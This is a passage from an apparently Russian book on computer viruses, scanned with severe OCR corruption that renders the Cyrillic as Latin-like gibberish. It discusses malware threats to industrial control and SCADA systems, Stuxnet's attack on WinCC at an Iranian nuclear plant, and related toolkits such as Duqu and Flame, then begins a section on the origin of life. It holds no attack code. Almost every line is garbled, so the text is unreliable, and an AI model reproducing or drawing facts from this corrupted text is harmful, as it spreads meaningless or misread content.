
o6-beKTOB. HanpHMep, b 1983 r. nporpaMMHCT MypaT Y, acejiaa «npoc/ia- 
BHTbca», bhcc b nporpaMMy, ynpaB;iaioinyK) nocraBKOH KOMn/ieKTyiomux 
Ha rjiaBHbin KOHBefiep BA3a, « nomnecKyn 6oM.6y», to  ecTb ceKpeTHbift 
(JiparweHT, npn coojnoaeHHH oripeflejiennbix yc.noBHH npHBOflammi 
k coohm b pa6oTe. B 1997 r. noapocroK H3 MaccanyceTca cjiynaimo o6Ha- 
py?KH;i y/jaJieHHbin aocTyn k kohcojih ynpaBJieHHa Tejie(J)OHHOH CTaHHHH 
MecTHoro aaponopTa h, pa3BJieKaacb, Ha HecKOJibKO nacoB 3a6jioKHpoBaji 
ero pa6oTy. B 2000 r. aBcrpaJiueu Bhtck B., Hcno;ib3ya paflHOMOfleM, b Te- 
yenne HecKOJibKHX neaejib noaKJiKmjica k ceTHM ynpaBJieHHH ohhcthm- 
MH OOOpyaceHHHMH H, 3H0HHMH0 fle30praHH3ya HX pa6oTy, OTKpblTO ripea- 
jiaraji cboh ycjiyra  no HcnpaajieHHio «npoo;ieMM». B KanecTBe ace caMoro 
cepbe3Horo HHimaeirra 3ana^Hue hctohhhkh Ha3HBaroT B3pUB Ha coBeT- 
ckom ra3onpoBoae b 1982 r., npoHsome/iminl hko6w b pe3y;ibTaTe cneq- 
onepauHH U.PY, KOTopoe BHeapH.no «jionm ecKyio» 6oM6y  b nporpaMM- 
Hoe o6ecne4eHHe CHCTeMbi ynpaBJieHHa HacocHHMH ycraHOBKaMH1.

Moryr jih KOMnbRDTepHue BHpycbi c.nyaciiTb nepeHocmiKaMH Bpeao- 
HOCHblX B03fleHCTBIIH Ha ACY?

Booome ro B o p a , annaparaue h nporpaMMHbie KOHcfm rypanH H, h c - 

no.nbsveMbie b ACY, OTJiHnatoTca o t  npHBbiHHbix HaM. HanpHMep, 6oJib- 
u ih h c tb o  3aaan .noKa.Tbnoro ynpaBJieHHa pem a io Tca  «MHKp0K0HTp0Juie-

1 rlo-BlmilMOMV. 3TO «V T K a », T3K KaK HaCOCHHe CTaHIJHH CCCP n{X:X’TO He 6bI.7[H

ocuam eH U  ACY TaKoro y p o B fw  c .to ;k h o c th  h  aBTOHOMHOCTH.
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paMH» -  nojiHoueHHbiMH 3BM, CHa6 jKeHHUMH npoueccopoM, naM«Tbio, 
HHTepcJxiHCaMH BBOfla-BblBOfla, CneHHaJIH3HpOBaHHHMH yCTpOHCTBaMH 
npeo6pa30BaiuiH  micJxipMauHH r a n a  AIIJ1 n U.AII, -  nphhcm Bee s to  

pa3MemeHo b  0/jH0 H-e/[HHCTBeHH0 H MHKpocxeMe! y  TaKoro KOMnbiOTe

pa HeT hh  MOHHTOpa, hh  KJiaBHaTypbi, nporpaMMbi juia Hero nniuyTCH Ha 

H3 biKe acceM 6 jiepa, « 3aKaHHBaioTOi» b  naMHTb c « 6 oJibiuoH» 3BM no Ka- 
6 ejno CBK3H Mepe3 nocjieaoBaTejibHtae nopTbi BBoaa-BbiBoaa h  pa6 oxaioT  

6 e3  yMacTiifl KaKHX-jiH6 o onepam ionH bix chctcm . Ecjih BbiHHCJiHTejibHaa 

MOlUHOCTb MHKpOKOHTpOJIJiepOB 0Ka3bIBaeTCH HeaOCTaXO’IHOH, TO BMeC- 
TO HHX HCnOJIb3}TOTCH «npOMbIIiIJieHHbie KOHTpOJIJiepbl* -  MajieHbKMe 

h  0 'ieHb npocTbie. ho  HaaeacHbie KOMnbroTepbi o t  Siemens, Advantech, 
Allen-Bradley, PEP-Kontron, Mitsubishi h  t. n., Koropbie npH H eoSxoan- 
m octh o 6 beflHHHKiTca b eaHHyio CHCTeMy nocpeflCTBOM cnenHajiH3 npo- 

BaHHbix «npoMbiiijJieHHbix cexeH* Ha 0 CH0Be HHxep<J)eHcoB RS-485/422 
H np0T0K0.n0B rana Modbus hjih  Profibus. y  «MaccoBoro» nojib30BaTejifl, 
CKopee Bcero, BM30B}nr vjim okv TexHHnecKHe xapaKTepHCTHKH th u h h h o -  

ro  «npoMbiuuieHHoro K0 HTp0 JiJiepa>>: npoueccop -  i80x86 h jih  MC 68K, 
TaKToBaa nacxoxa -  HecKOJibKO jicchtkob M erarepu, o 6 ,beM 0 3 y  -  He- 
CKO.’ibKO M era6 aiiT0 B. P a 6 oratOT oh h  n oa  ynpaBJieiiHeM MacuiTa6 iipy- 

eMbix ^onepauHOHHbix CHCTeM peajibHoro BpeMeHH^, HanpHMep QNX, 
VxWorks, OS-9 H npOMHX. IIOAOOHOH BblHHCJIHXeJIbHOH KOH(|jHrypauHH 

B nojiH e aocTaTOHHo hjih peiuemra 3aaaH c6opa aaHHbix c HecKOjfbKHX 

aeCHTKOB aaTHHKOB, o 6 p a 6 oTKH nOJiyMCHHOH HH4)0pMaUHH H ynpaB- 
JieHHH npOMbllllJieHHblM o 6 "beKT0 M qepe3 HecKOJibKO HCnOJIHHTeJIbHHX 

yCTpoilCTB (HanpHM ep, aJleKTpOIlpHBOaOB). A Jia3HTb B MHTepHCT, CMO

TpeTb Bnaeo h HrpaTb b  KOMnbroTepHbie H rp u  Ha «npoMbiiujieHHbix koh - 
rpojuiepax* h h k to  He co 6 HpaeTca.

Hcno.'ib3VK)TC}i nn b ACY «HacTOflmHe» KOMnbroTepbi, onepaunoHHbie 
cncTeMbi ii cen i?  B c jiokhm x, o 6 T>eMHbix ACY -  aa, ho He ajih  ynpaBJie- 

hhh KOHKpeTHHMH oftbeicraMH, a juisi BH3yajiH3auHH npoueccoB H KOOp- 

aHHauiiii coBMecTHoii paooTbi KonxpojuiepoB. II porpa.MMbi, pemaioiUHe 

3th  3 aa a 4 H, co3aaioTca h  Bbin0JiHHK>TCJi Ha 6a3e cneunaJibHbix «SCADA- 
naKeT0B» [1 ],  HanpHMep, WinCC o t  Siemens, Intouch o t  Wonderware, 
Trace Mode o t  AdAstra, BridgeVIEW o t  National Instruments h t. n. 
Tm iH 'iH aa cTpyKxypa ACY ynpaBJieHHH TexHOJionnecKHM npoueccoM 
npeairpHHTHsi (TaK Ha3biBaeM0H ACY T il) npHBeaeHa Ha pnc. 7.60.

Heco.MHeHHo, BHpycw  h  nepBH M oryr sapasHTb KopnopaTiiBHyio ceTb 

npeairpHMTH>i, npoHHKHyB b  Hee Hepe3 H irrepHex hjih aapaacennbie 

<4>ji3iaKH», a noTDM H apym nxb coBMecTHyio pa6oTV pasanMHbix «4e jio - 

BeHecKHX» cjivjk6 h  TeM caMbiw k o c b c h h o  noBJiiWTb na TexHOJionmecKiie



nepcnetoviBbi pa3BWTvisi m ncno/feBoeai-Mfi KOMnbiOTepHbix BupycoB ❖ 609

KoHTponnepbi 

Phc. 7.60 ❖ TwiHHHafl CTpyioypa ACY Tfl

npoLieccbi. B03M03KH0, HMeHHo 3To h iip0H30iuji0 jieTOM 2003 roaa bo Bpe- 
ms paaBHTHH anHfleMHH nepBH Net-Worm. Msblast, Koraa 3HaHHTejibHaa 
MacTb Kana/ibi h BOCTOKa C IU A  Ha cyTKH ocxajmcb 6e3 ajieicrpHMecTBa. 
HMeeTca HeMajio coo6iueHHH o npomiKHOBeHHH HepBen b KopnopaTHB- 
Hbie cera  3aB0fl0B, 3JieKTpocTahhhh h aaace Ha MKC1. BnponeM, HHKaKHX 
cepbe3HWX noc.'ieacTBHH, KpoMe HepBHoro CMexa ceTeBbix aaMHHHcrpa- 
TOpOB, 3TH npOHHKHOBCHHa He BbI3bIBaJIH. MeTO/Ibl 6opb6bI C T3KHMII BH- 
pyCaMII H HepBHMH Tpa/HlUHOHHbl.

MuTepecHO n BaacHO o&cyflHTb apyroii Bonpoc: Moryx jih  cyujecTBOBaTb 
KoMnbioTepHue BH pycu  h nepBH He b KopnopaTHBHoii ceTH, a Ha npo- 
mkhii npHHMv KOHTpo.uiepax h b npoMMUiJieHHMX ceTax? B npiiHunne, aa. 
14cnoab3yeMbie Ha stom  ypoBHe onepauHOHHue ch ctcm h  h  cexeBbie npo- 
toko.jih  npocTbi, xoporno aoKyMeHrapoBaHbi, TiuaTeabHO npoTecTHpoBa- 
Hbi Ha npoTHBoaeHCTBiie caynaiiHbiM c6oaM, ho  coBepuieHHo He 3amn- 
iueHbi o t  «3JioHaMepeHHbix» aTaK. B qacTH ocni, caMopa3MHoacaioiuHeca 
nporpaMMbi ran a  Biipyc- «ciiyxHHK>>, «0BepjieHHbiH» BHpyc h «(})aHJioBbiH

1 B 2008 r. 3TO cae.naj npHMHTHBHuft cjjaft.TOBbiM qepBb Gammima.AG, oh  ace 

Win32.Nsand.r, ripejiHaiHa'tcHiibiii ajih noxiaiiemia napojieft k KOMnbKjTep- 

h h m  HrpaM.
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napa3HT» npeKpacHO nyBCTByioT ce6a b POSIX-cobmccthmmx onepami- 
ohhux CHCTeMax peajibHoro BpeMeHH [ 16]. «KnaccHHecKHe» aHTiiBHpycbi 
nina «cKaHep», «mohhtop» h «HHC,neKTops> 3Thm cncTeMaM KaTeropHne- 
ckh npoTHBonoKa3aHM, TaK KaK Moryr npHBO^HTb k HenporH03iipyeMbiM 
3aAep*KaM, 6jioKHpoBKaM pa6oTH nporpaMMHbix KOMnoHeirroB h t. n. 
B ACY coBceM npyrae npiiopnTeTH. Mto zionycTHMo b oc})hchoh pa6oTe, 

CKopee Bcero, npnBezteT k (|>aT3JibHbiM HapymeiiHHM nponecca aBTOMaTH- 

3iipoBaHHoro ynpaBJieHHa.
Ho He Bee TaK njioxo. HoMeHKJiaTypa Hcnojib3yeMbix Ha npaKTHKe 

ceTefi, npoMbimjieHHHX KOHTpojuiepoB, npoueccopoB h onepauHOHHbix 
CHCTeM peajibHoro BpeMerai HacT0JibK0 o6uiHpHa, hto h6B03mo>kho co3- 
aaTb KaKoft-Hn6y;ib 6ojiee hjih MeHee «yHHBepcajibHbiH» BHpyc. Kpo
Me Toro, nonacTb b npoMbiimieHHyio ceTb hjih Ha Koirrpojijiep oh Mo
aceT TOJIbKO CTapaHIMMH BOOpVHCeHHOrO H03T 6yK0M H Ka6eJieM CBa3H 
3JioyMbim.neHHHKa-«HHcaHflepa», to ecTb pa6oTHHKa npe/inpHHTna. Bot 
noye.wy Ha ypoBHe JioKaJibHoro ynpaBJieHHa nan6ojiee /teiicTBenHbi npo- 
THB BHpyCOB He aHTHBHpyCbl HJIH 3aiLtHTHble «H3flCTp0HKH» OnepaUHOH- 
HblX CHCTeM, a TaKTHKa «H30JUmHOHH3Ma» H OpraHH33UHOHHOrO OrpaHH- 
HeHHH aocTyna nocTopoHHiix jihh k KpimwecKH BaacHbiM KOMnoHeHTaM
AC.y.

Bbixo^HT, HecMOTpa Ha noTeHUHaJibHyio ya3BHM 0CTb npoMbimjieHHbix 
ACy, BHpycbi ii nepBH ropaaao MeHee onacHbi, hcm BosjieircTBua co cropo- 
Hbi «acHBbix» 3JioyMHiuJieHHHKOB? Ji a, TaKOHO h 6wjio -  flo JieTa 2010 ro- 
Aa, noKa He 6hji o6HapyaceH -*MHoronJiaT(f)opMeHHbiH» nepBb Net-Worm. 
Win32.Stuxnet.

Ha nepBbifi B3rJi»a, sto 6uji BnoJiHe oobiHHbiH nepBb, cnoco6Hbift pac- 
npocTpaHaTbCH c 4>ji3Uikh Ha cJiJisniKy h «ryjian>» no JioKajibHofl cera. 
OflHaKO aocKOHajibHUH aHa;iH3, npoBejieHHbiii cHanaJia coTpy/imiKaMH 
6eJi0pyccK0H KOMnaHHH «BnpycBjiOKAaa», a n0T0M h KpynHeiiuiHMH 
BHpycojioraMH Miipa, noKa3aji, hto b ajiropHTM MepBa 6mji 3ajioaceH eme 
oahh, ^ceKpeTHbifU 4>yHKUHOHaji, npo6v*:naiomnHca AaJieKO He Bceraa 
h He Be3/ie.

3tot cJiVHKHHOHaji 6hji cnoco6eH aKTHBiipoBaTbca JiHiiib npn co6jik>- 
AeHHH ÔBOJIbHO aceCTKO OHepHCHHblX ycJIOBHH, -  a HMeHHO: npn no- 
naaaHHH nepBa b jroKaJibnyro ceTb, o6cjiyacHBaiomyio SCADA-cncTeMy 
WinCC 0OT0H-eAHHCTBeHH0H, CTporo onpegeJieHHOH BepcHH. IIo;j 
ynpaBJieinieM stoh SCADA-cucTeMbi pa6oTaeT 60JibiiiHHCTB0 ACY Til 
b EBpone h 3HaHHTejibHaa nacrb ACy Til CTpaH CHF, ho «npocny,'ica>> 
6bl HepBb JIHIUb B CeTH ACY Til MpaHCKOH 3T0MH0H O/IeKTpOCTaHLUlH 

b r. Bymepe. I’lpoHHKaTb na ypoBeHb npoMMiu.nenHOH cera, k koht-
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poJiJiepaM qepBb He y.vieji, h o  s to  eM y h  He Tpe6oB ajiocb. / le jio  b tom , 

h t o  cpeflCTBa B H3yajiH 3auHH SCADA-cHCTeMM WinCC p a 6 o Ta io T n o a  

ynpaBJieH H eM  Windows, a noaaep>KKa c jiy »te 6 H M X  6a3 aaH H bix BefleTCH 

cpeacTBaMH MS SQL Server. HepBb Net-Worm.Win32.Stuxnet 6 h j i  

cn o co 6 e H  BCTpaHBaTbCH b aiiH aM HHecKH e 6 h 6 jih o tc k h  WinCC h b h o - 

c h t b  HCKaaceHHa b naKeTbi aaH Hbix, npiixoflHiUHe h  oTCbiJiaeMbie Ha ypo
BeHb npoM biiu jieH H bix KOHTpoJinepoB. B pe3yabTaTe  onepaTop SCADA- 
CHCTeMbi Ha6jnoaaji 6 m  HeaocTOBepHyio K a p TH H y npowcxoflHmero Ha 
ynpaBJiaeM O H  ycTaHOBKe, h  Hao6opoT, Ha ycTa H O B K y n e pe aaB ajm cb 6bi 

HeBepHHe KOMaHflbl’ .
Ta K H M  06pa30M , nepBb Net-Worm.Win32.Stuxnet n p e a c ra B jra ji co - 

6 o h  nepBbiH  b h c t o p h h  ocffflunajibHO 3aperH CTpH p0BaH H biH  o6pa3eq 

« K n 6 e p o p y * i iH » ,  o p u e H TH p o B a H H o ro  Ha npo M bim .n eH H ue flHBepcHH. 

Ilp H B e JI JIH OH K peajIbHbIM  COO AM, HeH3BeCTH0, HO pa3BH TH e M paHCKO- 

r o  n a e p H o ro  npo e K Ta  OKasajiocb npH TopM oaceH o Ha HecKOJibKO MecHueB. 
E o jie e  Tm aTCJibHhie w ccjieiioBaH Ha Ko/ia nepBfl OTKpbiJiH nopa3HTejibHbie 

06c T 0HTeJIbCTBa.

Bo-nepBbix, Net-Worm. Win32.Stuxnet coaepacaji p>ui «M H H0B a m i0H - 

h m x »  m cto/ihk  pacnpocTpaH eH H H , H anpHM ep yM e ji CTapTO BaTb c (J)ji3uikh 

He T 0JibK0 qepe3 « A  UTOR UN.IN F», h o  nepes «a p jib iw K ii»  (cJjafljibi c pac- 
uiHpeHHeM «.LN K »).

B 0 -B T0 p b IX , HepBb HHCTaJIJIHpOBaJI B CHCTeMy CBOH BpejOHOCHbie

apaftB epti, noanH caH H bie JU Ta jib H H M ii cepTHc|)HKaTaMH pecn eK Ta6 ejib - 

h m x  cJ)HpM Realtec Semiconductor h  Jmicron. B h a h m o , ero aTaK y npea Ba - 

p ju ia  KOMnaHHH «K H 6epm nH O H aaca», Bbm ojiH eH H an 3a6jiar0BpeM eHH 0 no 

BceM y M H p y cpeflCTBaM ii a p y rH X  HepBeH h  Tp o a n c K H X  n p o rpaM M  h  He 3a- 

M eyeHHaa B H pycoJioraM H . H m c h h o  6ojiee paHHHe «3Ji0Bpe/ibi» n o x H TH Jiii 

ce K peTH yio  HHcJxjpManHio H3 Jia6opaTop H H  h  ocJihcob Realtec ii Jmicron. 
He HCKjnoneHo, npaB/ia, h to  s t o  c/iejiajin «5KHBbie» m n n o H b i.

HaKOHeu, h  3 to , noacajiyfi, caMoe rjiaBHoe: nepBb HMeji «MoayjibHoe» 
cxpoeHHe -  c o c to h ji H3 oTfleJibHbix, BUC0K0CJi03KHbix, Tin a re jib H O  OTJia- 

aceHHbix «a e T a jie K » ,  KOTOpbie, KaK oKa3ajiocb , no KpaHHeii M epe c 2 0 0 6  ro - 

fla, BCTpenajiHCb b cocTaBe zipynix Bpe/iOHOCHbix nporpaM M . K o ce m i 

201 2  ro fla  BbiacHHJiocb. h to  cym ecT B yeT  h  h o c to h h h o  coBepmeHCTBve.TCH 

orpoM H bift «K0HCTpyKT0p»-, Ha 6a3e K O Toporo c x p o a Tca  nepBH, B upycb i h 

TpoaHCKHe nporpaMMbi (Duqu, Flame, Gauss n npoHHe), cnoco6Hbie pa3- 
MHO>KaTbCH Hepe3 pasHbie h o c h tc jih  h  ceTeBbie npoTOKOJibi. rioaaejibiBaTb

1 B c .n y iae  y cn e x a  aTaKOBaHbi 6u.au 6u ciiCTe.MU ynpaBJiem ta jumraTe.iHMH 

iieHTpn(J)yr, .'saimMaiomitxca ooorameHHe.M  ypaiia.
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3jieKTp0HH0-UH(J)p0Bwe noamicH, noxiimaTb, ymraToacaTb h 6jiokhpo- 
BaTb naHHbie h MHoroe-MHoroe /ipyroe. Pa6oTaioT Ha# coBepmeHCTBOBa- 
HHeM 4K0HCTpyKT0pa» He TOJIBKO onBITHbie CHCTeMHhie nporpaMMHCTM, 
ho h MaTeManiKH c cepbe3HOH KpnrrT0rpa4)H>iecK0H no/iroTOBKOH. 3 th  
BpeaoHOCHwe nporpaMMbi He Bbi3biBaK)T M accoBb ix annaeMHH, Hao6opoT, 
hx pacnpocTpaHeHHe TmaTe/ibHO KompojinpyeTCH aHOHHMHhiMH xo3se- 
BaMH. SapajKeHHK) noflBepraiOTCJi jra iiib  «H36paHHbie» KOMnbiOTepbi Ha 
TeppnTopH H  HecKOJibKHX cTpaH. B o t  n o n e w y  B H p y c o jio n i TaK a o j ir o  HH- 

nero He 3Hajm o «KH6epBOHHe», HanaToii HecKOJibKO jict nasa/i HeroBecT- 
HO KeM H HeH3BeCTHO npOTHB KOTO.

MTaK, «5nqnK Ilan/iopbi^ o tkph t, aacrom H3 6yTbiJiKH BbinymeH, «kh- 
6ep op y *H e » noaBHJiocb b apceHajie He TojibKo «Ban/iajioB>>- h «Kn6ep6aH- 
AHTob», ho h  crieucjiyxco pa3JiHHHbix rocyaapcTB. 4 ero HaM ayiaTb h KaK 
HaM 6bITb?

IlpeJK/ie Bcero He naHHKOBaTb. Beflb onHcaHHaa aTaica Ha ACY Til -  
«uiTyHHbiH TOBap». EM npefliuecTBOBaJia JUiiiTejibHaa noziroTOBKa, Bbmoji- 
HeHHan KaK «xaKepcKHMH», TaK h hhcto «areHTypHHMH» MeTo^aMH. Tex- 
hojiothh, npHMeHfleMbie anoHHMHbiMH aBTopaMH Stuxnet, Duqu, Flame 
h Gauss (HanpHMep, HCKyccTBeHHafl reHepaiura kojuih3I1h b KpmiTo- 
rpa(J)HHecKHX xem -^yH Km w x), oneHb c jiokh u  h Bpaa jih peaJiH3yeMbi 
b 6ojibiuHx MacuiTa6ax. TaKHM 06pa30M, MaccoBbix aHBepciiH Ha npe/t- 
npHHTHax Miipa B 6jiH»caHiuee Bpe.via Bpnzi .in c to i it  oacHaaTb. A H36e- 
acaTb hx b oy/iymeM, ito-bh/wmomv, noMoxeT nepexoa KpHTmecKH Baac- 
Hbix cemeHTOB KopnoparaBHbix ceTefi ypoBHH SCADA Ha 3amHmeHHbie 
onepaiyioHHue chctcmm, cjia6o noflBepaceHHbie «Kn6epaTaKaM», -  Ha
npHMep, Ha kjiohw UNIX1. B o6jiacra ace onepaqHOHHbix chctcm peajib- 
Horo BpeMeHH, bh^hmo, Boo6me Hiwero /jeJiaTb He Ha^o -  npocTo eme 
aceCTMe KOHTpOJIHpOBaTb flOCTyn nOCTOpOHHHX B MaiUIIHHbHI 3ajl, K KOHT- 
po.miepaM. B KOime kohhob. onbiT 6opb6bi c «/iHBepcaHTaMH a6sepa»- 
y Hac HMeeTCH HeMajibiH. IIIyTKa. A mojkct 6brn>, h HeT.

C a p y r o i i  CTopoHbi, ceKpeTHUH (JjyHKijHOHaji MoaceT 6biTb CKpbiT He 
TojibKo b cJioacHbix Stuxnet-noflo6Hbix nepBHx. EaceflHeBHo o6HapyacH- 
BajOTca cothh h Tbicayii «o6biHHbix» Bpe^oHocHbix nporpaMM, eacerofl- 
Hbiii hx npupocT HCMHCJiaeTCH yace cothhmh Tbican. BnpycojioraM He 
XBaTaeT hh paoom x pvK, hh BpeMeHH, hto6w  AOCKOHajibHO HccJieflOBaTb 

HX «BHyTpeHHOCTH». KpO M e TOTO, MeXaHH3M COKpblTHH «CeKpeTHOFO»

1 UNIX-BepcHH SCADA-naKeroB cym ecTB yioT  b aocraTOHHOM KOJnrtecTBe, 

n p ocT o  noK a He noJib3yioTCH riony/iHpHocThio.
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c|)yHKUHOHaiia o t  Ban/m/ia BHpycojiora H3BecTeH: mctozim acHMMeTpnM- 

hoPi KpHiTTorpacfjHH, iun(|)pbi ra n a  RSA h DHE. B pe3yjibTaTe h h k to  He 

MoaceT nopyHHTbea, MTO KaKOH -H HOyAb BHeume TpH BH ajIbH blH  BHpyc HJIH 

MepBb, flBJifliomiiHCfl HacTbio 6oTHeTa h b o6b i'iH bix  vc jiobhh x paccw jiaio- 

iuhh <<MiipHbiH» cnaM , npH HacTynjieHHH «zihm J l»  h  «Haca M »  He c6pociiT  

CBOKD MaCKHpOBOHHyiO JIHMHHV II He COBepiIIHT <<T6paKT». K tO  CKa3a.'I, MTO 

MHJIJIHOH BHe3anHO «3aBHCUIHX» KOMnblOTepOB Ha Tejie4>OHHbIX KOMMy- 

TaTopax, BOK3ajiax, b 6aHKax, aaponopTax, 6ojibHHnax h o«J)Hcax -  s to  Me

Hee onacHo, MeM oahh  B3pbiB Ha anepHoii sjieKTpocTaHUMH?!

Ho axa yrp o 3 a  He HOBa. H n a p n p y e Tc a  OHa n p n  n o M o m n  o6biMHbix, 
aaB H U M -aaB H O  pa3pa6oTaHHbix h  npHMeHsreMbix Ha npaK TH K e 3 h th b h - 

pycHbix Te xH O Jio riia , K0T0pwe n o ^p o 6 H O  o6cyac,gajiHCb b  H am eii KHHre. 

'lT o 6 b i  cnp aB H Tbca c KH6epyrpo3aMH rio/[o6Horo T im a , He HyacHbi « k h -  

6epTaH KH «- h  «K H 6 e p p a K e Tb i», ztocTaTOHHO BnojiH e o6biM Horo, rpaMOTHO 

HacTpoeHHoro aHTH BHpyca.

7 .6 .2 . none3Huie npwMeHeHMfl BupycoB
>KH3Hb -  oflHa H3 caM bix TaHH CTBeHHbix 3arazi0K npH poflM . H eM yapeH O , 

m t o  c rJiy6oK oft apeBHOCTH MejioBeK H H TepecoBajica: m t o  ecTb acH3Hb? K a K  

OHa B03HHKJia? IIo3HaBaeMa j ih  OHa? yhp aB Jia eM a? H o  0#H03HaMHbie o t - 

BeTbi He nojiyM enbi flo c h x  n op .

O flH o  H3 oom enp H H H Tbix onpe/je.iieHHM jk h b o io  cyuiecTB a p a cc M a Tp n - 

BaeT ero KaK ycToiiM H Byio cncTe M y, xapaK Tepn3yioinyiocM  o6m chom  b c - 

m eCTB CO BHeiUHHM MHpOM H CnOCo6HOCTbK) K CaMOBOCnpOH3BefleHHK> Ha 
0CH0Be nepe^aM ii HacJie^cTBeHHbix c b o h c tb .

n o  nOBOfly B03HHKHOBCHHa aCH3HH Ha 3e.\Uie Cym eCTBVIOT pa3JIHHHbie 

TOMKH 3peHHH:

O «K p e a m iO H H 3 M » -  aCH3Hb C034aHa BblCIIIHMH CH.JiaMH;

O «n a n c n e p M iiH »  -  aoi3Hb b o  BcejrenHoii cym ecTBO Bajia Bcer^a  h  3a- 

HeceHa Ha 3eMJiio H3BHe;

O  «6noreH e3 » -  >KH3Hb Ha 3eMJie cymecTBOBajia Bceraa, h  Jiio6bie ee 

HOBbie (JXDpMbl CyTb pe3yjIbTaTbI M0aH(|jHKaUHH II pa3BHTHH CTapbIX; 

O  «a6n oreH e3 » -  acH3Hb ecTb pe3yjibraT yaaMHoro coeflHHeHHH x h - 

MiiMecKiix MOJieKVJi h  /lajibHefiuiero pasBiiTHa. 
nepB bie  /iBe o6cyac/iaTb He HMeeT cMbicjia. rnnoTe3y «KpeanH0HH3- 

M a» Hejib3H h h  aoKaaaTb, h h  onpoBeprHyTb -  b  Hee MoacHo tojimco cjie- 

no BepiiTb hjih  He BepHTb. «naH criepM H H » ace npocTo nepeHociiT Bonpoc  

o B03HHKH0BCHHH 5KH3HH 3a npeflejlbl 3eMJIH. TaKHM o6pa30M. Bee paBHO 

npHfleTCH BwSnpaTb Meayty /ib v m h  ajibTepnaTiiBaMii: MoaceT acnsiib B03-
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HHKHyTb 113 MepTBOH MaTepHH hjih HeT? Cnop Me>K/[y « 6HOreH6THKaMH»  
h ^aoHoreneTHKaMH»  He yn ixaeT  MHorae THCHHejieTHH.

Ha cTopoHe riepBux -  Ha6jiioAeHH5i 3a oKpyacaiomiiM mhpom. Ha Ha- 
uihx rjia3ax Bee acHBoe npoHcxoflHT TOJibKO H3 jkhboto. 3Bepn poacaioT 
apyr apyra, pacreHHH pa3MHoaoaioTCH ceMeHaMii, rpH6bi -  cnopaMH, 
KJieTKH -  nyTeM aeJieHHa h t. n. Om ne vivum  ex ovo  (Bee *HBoe H3 flfina), 
h HHKaK HHane.

H a CTopoHe BTopux -  HayHHbie aaHHbie m JioniKa. MiiBUfi MaTepHH 

coctoht b  tohhocth  H3 Tex ace sjieMeHTOB, hto h  HeacHBah , TOJibKo opra- 
HH30BaHHbIX B eAHHJTO CHCTeMy BeCbMa 3aMbICJIOBaTHM 06pa30M. Cpa3y 
nocjie BoJibiuoro B3pMBa, co3aaBiuero Hauiy BcejieHHyio okojio 13 Mjipa 

JieT Ha3aa, o c h o bh h m  cnoco6oM cymecTBOBaHHH MaTepHH 6mji xaoc, 
a HbraeuiHee ee coctohhhc  -  pe3yjibTaT aniTejibHoro nocjieaoBaTejibHoro 

pa3BHTHH H ynopHflOHHBaHHfl. CHaHaJia nOHBHJIHCb H3JiyHCHHH H SJieMeH- 
TapHbie nacTHiibi, noTOM aTOMbi h  Mo.'ieKy.'ibi, h  oneHb HecKopo -  crycTKH 

BemecTBa, ra/iaKTHKH, 3Be3flbi h  nJiaHera. Heyacejin b stom  napcTBe xaoca 

c caMoro Hanajia, eme ao  bo3h hkh obch h h  BemecTBa, cpa3y cymecTBOBajm 

OCTpOBKH CJIOJKHO 0 p ra H H 3 0 B a H H 0 H  MaTepHH, nOJIOJKHBIHHe Ha>ia.?IO 5KH3- 
HH? A  CC.TH He cymeCTBOBa.TH, TO, 3HaHHT, B03HHKJIH BCe-TaKH n035Ke, Kor- 
fla jynsi aToro cjioJKHJiHCb cooTBeTCTByioiuHe vcjiobhh. To ecTb bo3hhkjih 

H3 MepTBoro BemecTBa. H o  KaK?
KpHTepiiH hcthhbj -  npaKTHKa. H o  noKa hh pa3y He y/tajiocb npoHa6- 

JiioflaTb 3apo*aeHHe jkhboto, HanpHMep, 113 boam, necKa h rjiHHbi. Haen 
aicaaeMHKa A . VI. OnapHHa (1924 r.) o caM0np0H3B0JibH0M bo3hhkho- 
BeHHH 5KH3HH H3 6yjIbOHa OpraHHHeCKHX BemeCTB IlblTaJIHCb npOBepHTb 
onbiTHWM nyreM: b 1953 roay  awepHKaHeu C. MHJiJiep noMecTHJi b koji- 
6y CMecb HeopraHHHecKHX BemecxB, npHMepHo cooTBexcTByiomyio no 
XHMHnecKOMy cocraBy oKeaHy /ipeBHeii 3eMJiH, h co3aaji noaxoanmHe 
4>H3HHecKHe ycjioBHa -  aaaieHHe, TeMnepaTypy, sjieicrpHHecKHe pa3pn- 
flbi h t. n. xIepe3 HeKOTopoe BpeMH b KOJi6e o6HapyacmiHCb opraHHHecKHe 
coeaHHeHHa -  npocTemime KHpnHHHKH, H3 K0T0pbix, b npHHUnne, 11 co
c to h t 5KH3HL: aMHHOKHCJioTO, caxapa, Jimuiabi h nponee. H o  «KoauepBa- 
Tbi» -  aBTOHOMHue KanejibKii opraHHKH, o6MeHHBaioinHecH BemecTBOM c 
oKpyxcaiomefl cpeaoii, KOTOpbie A. H. OnapnH paccMaTpHBaji b KanecTBe 
B03M0>KH0H «np0T0JKH3HH», -  TaK H He B03HHKJIH. CTajIO HCHO, HTO OnbIT 
M iijuiepa o6ocHGBbiBaeT jinuib npHHHHmiaJibHyio B03M0>KH0CTb CHHTe3a 
opraHHKH H3 HeOpraHHKH, HO, KaK 3TO HH npiICK0p6H0, He OTBeHaeT Ha 
Bonpoc 0 KOHKpeTHOM MexaiiH3Me nopoacaeHHH >KH3HH. Bojiee noa/IHHe 
OTKpblTHH II p 0 a CM O H C T P H p o B a JI 11, HTO JKHBaH MaTepHH -  3T0 CJIOaCHeil-
iiiaa CHCTeMa, CBoero poaa «na3Ji», coctohiumh H3 orpoMiioro KOJiHHecTBa
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TmaTeJibHO iioaorHaHHbix apyr k a p y ry  xhm hhcckhx «aeTaJieii». IIpHHeM 
CHCTeMa He CTaTHHHaa, a pa.3BHBaioina.HCH, mo/jh (Jmuh py rom an ch h caMO- 
B0Ciip0H3B0AHmaHCH no onpe/ieJieHHoft «nporpaMMe». PI «nporpaMMa» 
3Ta xpaHHTCH He Ha ancKeTKe, He Ha (JwisniKe, a 3aKoanpoBaHa b crpyKType 
CBepXCJIOJKHOH MOJieKVJIbl fle30KClipH6oHyKJieHHOBOH KHCJIOTbl (j3,HK).

MTaK, OKaaajioct, hto atHByio MaTepHio mojkho paccMaTpiiBaTb KaK CBoe- 

o6pa3fibiH KOMnbroTep, pa6oTaiomHH no onpeaeJieHHOH nporpaMMe. He 
03HanaeT jih sto, hto, ocTaBHB 3a CKo6KaMH Bonpoc o jihhhocth h cyuiHO- 
cth « BeiiHKoro nporpaMMHCTa», mojkho nonbiTaTbcn peuiHTb npo6aeMy 
